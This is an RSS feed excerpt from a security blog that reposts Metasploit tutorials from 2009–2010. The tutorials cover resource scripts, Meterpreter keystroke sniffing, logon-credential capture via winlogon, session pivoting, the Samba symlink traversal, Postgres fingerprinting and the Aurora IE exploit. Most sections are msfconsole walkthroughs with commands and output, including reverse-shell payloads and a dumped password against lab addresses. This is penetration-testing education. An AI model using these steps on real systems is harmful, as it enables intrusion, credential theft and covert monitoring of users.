		<category><![CDATA[security testing tools]]></category>
		<category><![CDATA[using metasploit]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=57</guid>
		<description><![CDATA[The Metasploit Console (<b>msfconsole</b>) has uses the concept of resource files from a long time. A resource file is essentially a batch script for Metasploit which is used to automate common tasks. For example, if you create a resource script called ~/.msf3/msfconsole.rc, it will automatically load each time you start the msfconsole interface. This is a great way to automatically connect to a database and set common parameters (setg PAYLOAD, etc). <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/automate-the-metasploit-console/">Automate the Metasploit Console</a></span>]]></description>
			<content:encoded><![CDATA[<p>The Metasploit Console (<strong>msfconsole</strong>) has uses the concept of resource files from a long time. A resource file is essentially a batch script for Metasploit which is used to automate common tasks. For example, if you create a resource script called ~/.msf3/msfconsole.rc, it will automatically load each time you start the msfconsole interface. This is a great way to automatically connect to a database and set common parameters (setg PAYLOAD, etc). Until this morning, however, resource scripts were limited to simple console commands.</p>
<p>As of revision <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8876">r8876</a>, blocks of Ruby code can now be directly inserted into the resource scripts. This turns resource scripts into a generic automation platform for the Metasploit Framework.</p>
<p>In <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8878/entry/documentation/msfconsole_rc_ruby_example.rc">this example</a>, the resource script configures a multi/handler instance to run in the background, and then automatically screenshots and closes incoming sessions. The full power of the Metasploit API is available within the code blocks, so the sky is the limit in terms of what can be accomplished. Changing the example to nmap the target or install a persistent agent would be trivial and all normal console commands are still available within the code block (run_single(&#8220;help&#8221;)).</p>
<pre>$ <strong>./msfconsole -r documentation/msfconsole_rc_ruby_example.rc</strong>                _                  _       _ _               | |                | |     (_) | _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_| '_ ` _  / _  __/ _` / __| '_ | |/ _ | | __|| | | | | |  __/ || (_| __  |_) | | (_) | | |_|_| |_| |_|___|____,_|___/ .__/|_|___/|_|__|                            | |                            |_|

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]+ -- --=[ 542 exploits - 295 auxiliary+ -- --=[ 198 payloads - 23 encoders - 8 nops       =[ svn r8873 updated today (2010.03.22)

resource (documentation/msfconsole_rc_ruby_example.rc)&gt; use exploit/multi/handlerresource (documentation/msfconsole_rc_ruby_example.rc)&gt; set PAYLOAD windows/meterpreter/reverse_tcpresource (documentation/msfconsole_rc_ruby_example.rc)&gt; set LPORT 4444resource (documentation/msfconsole_rc_ruby_example.rc)&gt; set LHOST 192.168.0.118resource (documentation/msfconsole_rc_ruby_example.rc)&gt; set ExitOnSession false

resource (documentation/msfconsole_rc_ruby_example.rc)&gt; exploit -j[*] Exploit running as background job.[*] resource (documentation/msfconsole_rc_ruby_example.rc)&gt; Ruby Code (589 bytes)[*] [2010.03.22-09:19:38] Started reverse handler on 192.168.0.118:4444 [*] [2010.03.22-09:19:38] Starting the payload handler...

[*] Waiting on an incoming sessions...[*] [2010.03.22-09:19:40] Sending stage (748032 bytes)[*] Meterpreter session 1 opened (192.168.0.118:4444 -&gt; 192.168.0.218:16660)[*] Session 1 192.168.0.218 active, but not yet configured[*] Screenshotting session 1 192.168.0.218...Screenshot saved to: /home/projects/metasploit/framework3/trunk/192.168.0.218_1.jpg[*] Closing session 1 192.168.0.218...[*] Meterpreter session 1 closed.</pre>
<p>Source: <a href="http://blog.metasploit.com/2010/03/automating-metasploit-console.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/automate-the-metasploit-console/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Capturing Logon Credentials with Meterpreter</title>
		<link>http://think-security.com/capturing-logon-credentials-with-meterpreter/</link>
		<comments>http://think-security.com/capturing-logon-credentials-with-meterpreter/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 19:39:49 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[capture credentials]]></category>
		<category><![CDATA[capture keystrokes]]></category>
		<category><![CDATA[explorer.exe]]></category>
		<category><![CDATA[GetAsyncKeyState]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit meterpreter]]></category>
		<category><![CDATA[metasploit project]]></category>
		<category><![CDATA[metasploit ubuntu]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[meterpreter migrate]]></category>
		<category><![CDATA[meterpreter payload]]></category>
		<category><![CDATA[meterpreter tutorial]]></category>
		<category><![CDATA[ms08-067]]></category>
		<category><![CDATA[using metasploit]]></category>
		<category><![CDATA[winlogon]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=46</guid>
		<description><![CDATA[In the previous post, we described the keystroke sniffing capabilities of the Meterpreter payload. One of the key restrictions of this feature is that it can only sniff while running inside of a process with interactive access to the desktop. In the case of the MS08-067 exploit, we had to <b>migrate</b> into Explorer.exe in order to capture the logged-on user's keystrokes. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/capturing-logon-credentials-with-meterpreter/">Capturing Logon Credentials with Meterpreter</a></span>]]></description>
			<content:encoded><![CDATA[<p>In the previous post, we described the keystroke sniffing capabilities of the Meterpreter payload. One of the key restrictions of this feature is that it can only sniff while running inside of a process with interactive access to the desktop. In the case of the MS08-067 exploit, we had to <b>migrate</b> into Explorer.exe in order to capture the logged-on user&#8217;s keystrokes.</p>
<p>While testing the keystroke sniffer, we decided to migrate into the Winlogon.exe process instead. This process should have interactive access to the desktop, however we failed to sniff the active user&#8217;s keystrokes in this way. Although Winlogon could not access the logged-on desktop using GetAsyncKeyState, it can capture the username and password of anyone logging into the target&#8217;s console. The example below demonstrates this process:</p>
<p>msf exploit(ms08_067_netapi) &gt; exploit<br />[*] Triggering the vulnerability&#8230;<br />[*] Sending stage (2650 bytes)<br />[*] Uploading DLL (75787 bytes)&#8230;<br />[*] Upload completed.<br />[*] Meterpreter session 1 opened</p>
<p>meterpreter &gt; ps</p>
<p>Process list<br />============</p>
<p>PID   Name          Path                                                                                        <br />&#8212;   &#8212;-          &#8212;-                                                                                        <br />292   wscntfy.exe   C:WINDOWSsystem32wscntfy.exe                                                             <br />316   Explorer.EXE  C:WINDOWSExplorer.EXE                                                                     <br />356   smss.exe      SystemRootSystem32smss.exe                                                               <br />416   csrss.exe     ??C:WINDOWSsystem32csrss.exe                                                           <br />440   winlogon.exe  ??C:WINDOWSsystem32winlogon.exe                                                        <br />[ snip ]</p>
<p>meterpreter &gt; migrate 440<br />[*] Migrating to 440&#8230;<br />[*] Migration completed successfully.</p>
<p>meterpreter &gt; keyscan_start <br />Starting the keystroke sniffer&#8230;<br />[ wait for user login ]</p>
<p>meterpreter &gt; keyscan_dump <br />Dumping captured keystrokes&#8230;<br />Administrator &lt;Tab&gt;  p@ssw0rd &lt;Return&gt;</p>
<p>Source: <a href="http://blog.metasploit.com/2009/03/capturing-logon-credentials-with.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/capturing-logon-credentials-with-meterpreter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using Meterpreter For Remote Keystroke Sniffing</title>
		<link>http://think-security.com/using-meterpreter-for-remote-keystroke-sniffing/</link>
		<comments>http://think-security.com/using-meterpreter-for-remote-keystroke-sniffing/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 19:22:20 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[automating meterpreter]]></category>
		<category><![CDATA[capture keystrokes]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit meterpreter]]></category>
		<category><![CDATA[metasploit project]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[meterpreter migrate]]></category>
		<category><![CDATA[meterpreter payload]]></category>
		<category><![CDATA[meterpreter service]]></category>
		<category><![CDATA[msfpayload]]></category>
		<category><![CDATA[vulnerability management]]></category>
		<category><![CDATA[web vulnerability scanner]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=41</guid>
		<description><![CDATA[The development version of Metasploit now allows keystroke sniffing through Meterpreter sessions. This has been implemented as set of new commands for the stdapi extension of Meterpreter. This works with the help of the keyscan_start command, which spawns a new thread inside of the process where Meterpreter was injected and this thread in turn allocates a large 1Mb buffer to store captured keystrokes. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/using-meterpreter-for-remote-keystroke-sniffing/">Using Meterpreter For Remote Keystroke Sniffing</a></span>]]></description>
			<content:encoded><![CDATA[<p>The development version of Metasploit now allows keystroke sniffing through Meterpreter sessions. This has been implemented as set of new commands for the stdapi extension of Meterpreter.</p>
<p>This works with the help of the keyscan_start command, which spawns a new thread inside of the process where Meterpreter was injected and this thread in turn allocates a large 1Mb buffer to store captured keystrokes. Every 30 ms, this thread calls <a href="http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx">GetAsyncKeyState</a>, which returns the up/down status of each of the 256 possible <a href="http://msdn.microsoft.com/en-us/library/aa926323.aspx">Virtual Key Codes</a>. If a key state change is detected and the new state is down, the key, along with the Shift, Control, and Alt flags are stored into the buffer which overwrites the old entries when full.</p>
<p>One limitation of the GetAsyncKeyState function is that it must have access to the active, input desktop in order to monitor the key states, which presents a problem when the target process is running as a service. This sequence has now been implemented as the <b>grabdesktop</b> command, but this is still not sufficient in many cases &#8211; for example if the service does not have rights to interact with the desktop, no amount of API jumping allows the GetAsyncKeyState function to receive keystrokes from the user. </p>
<p>Fortunately, Meterpreter supports the <b>migrate</b> command, which allows us to move our running code into a process that does have interactive access to the desktop. In the example below, we will use ms08_067_netapi exploit to obtain a Meterpreter shell on a Windows XP SP2 system, then migrate the running payload into the Explorer.exe process owned by the active user. This allows us to then use the <b>keyscan_start</b> and <b>keyscan_dump</b> commands to log the user&#8217;s keystrokes.</p>
<p>$ msfconsole</p>
<p>msf &gt; use exploit/windows/smb/ms08_067_netapi </p>
<p>msf exploit(ms08_067_netapi) &gt; set RHOST 192.168.0.180 <br />RHOST =&gt; 192.168.0.180</p>
<p>msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/meterpreter/reverse_tcp<br />PAYLOAD =&gt; windows/meterpreter/reverse_tcp</p>
<p>msf exploit(ms08_067_netapi) &gt; set LHOST 192.168.0.130 <br />LHOST =&gt; 192.168.0.130</p>
<p>msf exploit(ms08_067_netapi) &gt; set TARGET 3<br />TARGET =&gt; 3</p>
<p>msf exploit(ms08_067_netapi) &gt; exploit<br />[*] Triggering the vulnerability&#8230;<br />[*] Sending stage (2650 bytes)<br />[*] Uploading DLL (75787 bytes)&#8230;<br />[*] Upload completed.<br />[*] Meterpreter session 1 opened</p>
<p>meterpreter &gt; ps</p>
<p>Process list<br />============</p>
<p>PID   Name          Path                                                                                        <br />&#8212;   &#8212;-          &#8212;-                                                                                        <br />292   wscntfy.exe   C:WINDOWSsystem32wscntfy.exe                                                             <br />316   Explorer.EXE  C:WINDOWSExplorer.EXE                                                                     <br />356   smss.exe      SystemRootSystem32smss.exe                                                               <br />416   csrss.exe     ??C:WINDOWSsystem32csrss.exe                                                           <br />440   winlogon.exe  ??C:WINDOWSsystem32winlogon.exe                                                        <br />[ snip ]</p>
<p>meterpreter &gt; migrate 316<br />[*] Migrating to 316&#8230;<br />[*] Migration completed successfully.</p>
<p>meterpreter &gt; getpid<br />Current pid: 316</p>
<p>meterpreter &gt; grabdesktop <br />Trying to hijack the input desktop&#8230;</p>
<p>meterpreter &gt; keyscan_start<br />Starting the keystroke sniffer&#8230;</p>
<p>meterpreter &gt; keyscan_dump <br />Dumping captured keystrokes&#8230;</p>
<p>Source: <a href="http://blog.metasploit.com/2009/03/remote-keystroke-sniffing-with.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/using-meterpreter-for-remote-keystroke-sniffing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automatic Routing Through New Subnets</title>
		<link>http://think-security.com/automatic-routing-through-new-subnets/</link>
		<comments>http://think-security.com/automatic-routing-through-new-subnets/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 09:54:07 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[automating meterpreter]]></category>
		<category><![CDATA[covert channel]]></category>
		<category><![CDATA[metasploit meterpreter]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[meterpreter payload]]></category>
		<category><![CDATA[msfpayload]]></category>
		<category><![CDATA[network routing]]></category>
		<category><![CDATA[routing table]]></category>
		<category><![CDATA[routing through session]]></category>
		<category><![CDATA[static routing table]]></category>
		<category><![CDATA[tunneling through meterpreter]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=55</guid>
		<description><![CDATA[Among the coolest features in metasploit is the ability to tunnel through a meterpreter session to the network on the other side. The <tt>route</tt> command in msfconsole sets this up but requires a bit of experience to get right. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/automatic-routing-through-new-subnets/">Automatic Routing Through New Subnets</a></span>]]></description>
			<content:encoded><![CDATA[<p>Among the coolest features in metasploit is the ability to tunnel through a meterpreter session to the network on the other side.  The <tt>route</tt> command in msfconsole sets this up but requires a bit of experience to get right.  </p>
<pre>[*] Meterpreter session 1 opened (10.1.1.52:4444 -> 10.1.1.118:1238)

meterpreter > run get_local_subnets Local subnet: 10.1.1.0/255.255.255.0meterpreter > background msf exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1msf exploit(ms08_067_netapi) > route print

Active Routing Table====================

   Subnet             Netmask            Gateway   ------             -------            -------   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) > </pre>
<p>After running the above commands any traffic sent to the 10.1.1.0 network will be tunnelled through the session.  There also is a plugin that automatically adds a route for any previously-unseen subnets when a new session opens up.  Here is some example usage and output:</p>
<pre>msf exploit(ms08_067_netapi) > load auto_add_route [*] Successfully loaded plugin: auto_add_routemsf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 10.1.1.52:4444 [*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 3 - lang:English[*] Selected Target: Windows XP SP3 English (NX)[*] Triggering the vulnerability...[*] Sending stage (725504 bytes)[*] Meterpreter session 1 opened (10.1.1.52:4444 -> 10.1.1.118:1239)[*] AutoAddRoute: Routing new subnet 10.1.1.0/255.255.255.0 through session 1

meterpreter > background msf exploit(ms08_067_netapi) > route print

Active Routing Table====================

   Subnet             Netmask            Gateway   ------             -------            -------   10.1.1.0           255.255.255.0      Session 1

msf exploit(ms08_067_netapi) > </pre>
<p>The auto_add_route plugin is now available in the metasploit trunk; &#8216;svn up&#8217; to get it.</p>
<p>Source: <a href="http://blog.metasploit.com/2010/02/automatically-routing-through-new.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/automatic-routing-through-new-subnets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploiting the Samba Symlink Traversal</title>
		<link>http://think-security.com/exploiting-the-samba-symlink-traversal/</link>
		<comments>http://think-security.com/exploiting-the-samba-symlink-traversal/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 13:49:46 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[linux file server]]></category>
		<category><![CDATA[linux samba share]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit ms08 067]]></category>
		<category><![CDATA[root file system]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[samba cifs]]></category>
		<category><![CDATA[samba flaw]]></category>
		<category><![CDATA[samba linux]]></category>
		<category><![CDATA[samba security server]]></category>
		<category><![CDATA[samba server debian]]></category>
		<category><![CDATA[samba symlink bug]]></category>
		<category><![CDATA[samba vulnerability]]></category>
		<category><![CDATA[symlink flaw]]></category>
		<category><![CDATA[symlink vulnerability]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=51</guid>
		<description><![CDATA[Last night a <a href="http://www.youtube.com/watch?v=NN50RtZ2N74">video</a> uploaded to Youtube, demonstrated a logic flaw in the <a href="http://www.samba.org/">Samba</a> CIFS service. It was soon followed by a <a href="http://marc.info/?l=full-disclosure&#038;m=126538598820903&#038;w=2">mailing list post</a>. This bug allows any user with write access to a file share to create a symbolic link to the root filesystem, which allows access to any file on the system with the current users' privileges. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/exploiting-the-samba-symlink-traversal/">Exploiting the Samba Symlink Traversal</a></span>]]></description>
			<content:encoded><![CDATA[<p>Last night a <a href="http://www.youtube.com/watch?v=NN50RtZ2N74">video</a> uploaded to Youtube, demonstrated a logic flaw in the <a href="http://www.samba.org/">Samba</a> CIFS service. It was soon followed by a <a href="http://marc.info/?l=full-disclosure&amp;m=126538598820903&amp;w=2">mailing list post</a>. This bug allows any user with write access to a file share to create a symbolic link to the root filesystem, which allows access to any file on the system with the current users&#8217; privileges. This bug affects any <a href="http://www.samba.org/">Samba</a> service that allows anonymous write access, however read access to the filesystem is still limited by normal user-level privileges. In most cases, anonymous users are limited to the &#8216;nobody&#8217; account, thus limiting the damage possible through this exploit.</p>
<p>A <a href="http://www.metasploit.com/">Metasploit</a> auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the <a href="http://www.metasploit.com/">Metasploit</a> Console:</p>
<p>$ <strong>msfconsole</strong><br />
msf &gt; <strong>use auxiliary/admin/smb/samba_symlink_traversal</strong></p>
<p>msf auxiliary(samba_symlink_traversal) &gt; <strong>set RHOST 192.168.0.34</strong></p>
<p>msf auxiliary(samba_symlink_traversal) &gt; <strong>set SMBSHARE shared</strong></p>
<p>msf auxiliary(samba_symlink_traversal) &gt; <strong>set SMBTARGET rooted</strong></p>
<p>msf auxiliary(samba_symlink_traversal) &gt; <strong>run</strong></p>
<p>[*] Connecting to the server&#8230;<br />
[*] Trying to mount writeable share &#8216;shared&#8217;&#8230;<br />
[*] Trying to link &#8216;rooted&#8217; to the root filesystem&#8230;<br />
[*] Now access the following share to browse the root filesystem:<br />
[*] \192.168.0.34sharedrooted</p>
<p>Keep in mind that non-anonymous shares can be used as well, just set SMBUser and SMBPass with valid user account credentials.</p>
<p>Source: <a href="http://blog.metasploit.com/2010/02/exploiting-samba-symlink-traversal.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/exploiting-the-samba-symlink-traversal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Postgres Fingerprinting</title>
		<link>http://think-security.com/postgres-fingerprinting/</link>
		<comments>http://think-security.com/postgres-fingerprinting/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 10:52:06 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database version fingerprinting]]></category>
		<category><![CDATA[fingerprinting]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit postgress fingerprinting]]></category>
		<category><![CDATA[postgres]]></category>
		<category><![CDATA[postgres fingerprinting]]></category>
		<category><![CDATA[postgres version]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=53</guid>
		<description><![CDATA[Many database servers provide version number, platform, and other salient details to just about anyone who asks, which makes very easy the fingerprinting of these applications. However, Postgres is a little bit shy with revealing such personal information about itself. The best way to determine the version of the Postgres datbase is to log in and execute a "select version()" query, but what if you don't have the credentials? <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/postgres-fingerprinting/">Postgres Fingerprinting</a></span>]]></description>
			<content:encoded><![CDATA[<p>Many database servers provide version number, platform, and other salient details to just about anyone who asks, which makes very easy the fingerprinting of these applications. However, Postgres is a little bit shy with revealing such personal information about itself. The best way to determine the version of the Postgres database is to log in and execute a &#8220;select version()&#8221; query, but what if you don&#8217;t have the credentials?</p>
<p>It appears though, that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:</p>
<pre>0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C2800010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed0060   00 00                                            ..</pre>
<p>This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it&#8217;s 1017 in 8.3.9 and so on. These differences go back at least as far as Postgres 7.4.</p>
<p>The latest version of Metasploit now supports Postgres enumeration using this technique. Check it out with a quick <a href="http://www.metasploit.com/redmine/projects/framework/wiki/Updating">update</a>. The module looks something like this:</p>
<p>msf auxiliary(postgres_version) &gt; <span style="font-weight: bold;">set verbose true</span><br />
verbose =&gt; true<br />
msf auxiliary(postgres_version) &gt; <span style="font-weight: bold;">run</span></p>
<p>[*] 192.168.15.55:5432 Postgres &#8211; Trying username:&#8217;postgres&#8217; with password:&#8217;?dsx)S&#8217; against 192.168.15.55:5432 on database &#8216;template1&#8242;<br />
[+] 192.168.15.55:5432 Postgres &#8211; Version 8.4.2 (Pre-Auth)<br />
[*] 192.168.15.55:5432 Postgres &#8211; Disconnected<br />
[*] Scanned 1 of 1 hosts (100% complete)<br />
[*] Auxiliary module execution completed</p>
<p>The Metasploit guys have collected a few signatures so far, so we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. In the event you run into a version/platform combination of Postgres that we haven&#8217;t accounted for yet, the module will display and log the relevant signature data for an easy copy-paste.</p>
<p>Source: <a href="http://blog.metasploit.com/2010/02/postgres-fingerprinting.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/postgres-fingerprinting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Reproducing the Aurora IE Exploit</title>
		<link>http://think-security.com/reproducing-the-aurora-ie-exploit/</link>
		<comments>http://think-security.com/reproducing-the-aurora-ie-exploit/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 02:45:06 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[Aurora]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[IE 6]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit 3.2]]></category>
		<category><![CDATA[metasploit meterpreter]]></category>
		<category><![CDATA[metasploit project]]></category>
		<category><![CDATA[metasploit ubuntu]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[msfpayload]]></category>
		<category><![CDATA[port 445 exploit]]></category>
		<category><![CDATA[winautopwn]]></category>
		<category><![CDATA[winautopwn download]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=48</guid>
		<description><![CDATA[Yesterday, a copy of the unpatched Internet Explorer exploit used in the <a href="http://www.wired.com/threatlevel/2010/01/hack-of-adob/comment-page-1/">Aurora</a> attacks was uploaded to <a href="http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&#38;type=js">Wepawet</a>. Since the code is now public, the guys from <a href="http://www.metasploit.com/">Metasploit</a> have ported it to a module in order to provide a safe way to test your workarounds and mitigation efforts. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/reproducing-the-aurora-ie-exploit/">Reproducing the Aurora IE Exploit</a></span>]]></description>
			<content:encoded><![CDATA[<p>Yesterday, a copy of the unpatched Internet Explorer exploit used in the <a href="http://www.wired.com/threatlevel/2010/01/hack-of-adob/comment-page-1/">Aurora</a> attacks was uploaded to <a href="http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&amp;type=js">Wepawet</a>. Since the code is now public, the guys from <a href="http://www.metasploit.com/">Metasploit</a> have ported it to a module in order to provide a safe way to test your workarounds and mitigation efforts. Note that this only works for IE6, just like the original exploit code.</p>
<p>To get started, grab the <a href="http://www.metasploit.com/framework/download/">latest copy</a> of the <a href="http://www.metasploit.com/">Metasploit Framework</a> and use the <a href="http://www.metasploit.com/redmine/projects/framework/wiki/Updating">online update</a> feature to sync latest exploits from the development tree. Start the <a href="http://www.metasploit.com/">Metasploit</a> Console (msfconsole) and enter the commands in bold:</p>
<p>msf &gt; <strong>use exploit/windows/browser/ie_aurora</strong><br />
msf exploit(ie_aurora) &gt; <strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong><br />
msf exploit(ie_aurora) &gt; <strong>set LHOST </strong> (your IP)<br />
msf exploit(ie_aurora) &gt; <strong>set URIPATH /</strong><br />
msf exploit(ie_aurora) &gt; <strong>exploit</strong></p>
<p>[*] Exploit running as background job.<br />
[*] Started reverse handler on port 4444<br />
[*] Local IP: http://192.168.0.131:8080/<br />
[*] Server started.</p>
<p>msf exploit(ie_aurora) &gt;</p>
<p>Open Internet Explorer on a vulnerable machine (we tested Windows XP SP3 with IE 6) and enter the Local IP URL into the browser. If the exploit succeeds, you should see a new session in the Metasploit Console:</p>
<p>[*] Sending stage (723456 bytes)<br />
[*] Meterpreter session 1 opened (192.168.0.131:4444 -&gt; 192.168.0.126:1514)</p>
<p>msf exploit(ie_aurora) &gt; <strong>sessions -i 1</strong><br />
[*] Starting interaction with 1&#8230;</p>
<p>meterpreter &gt; <strong>getuid</strong><br />
Server username: WINXPDeveloper</p>
<p>meterpreter &gt; <strong>use espia</strong><br />
Loading extension espia&#8230;success.</p>
<p>meterpreter &gt; <strong>shell</strong><br />
Process 892 created.<br />
Channel 1 created.<br />
Microsoft Windows XP [Version 5.1.2600]<br />
(C) Copyright 1985-2001 Microsoft Corp.</p>
<p>C:Documents and SettingsDeveloperDesktop&gt;</p>
<p>Source: <a href="http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/reproducing-the-aurora-ie-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

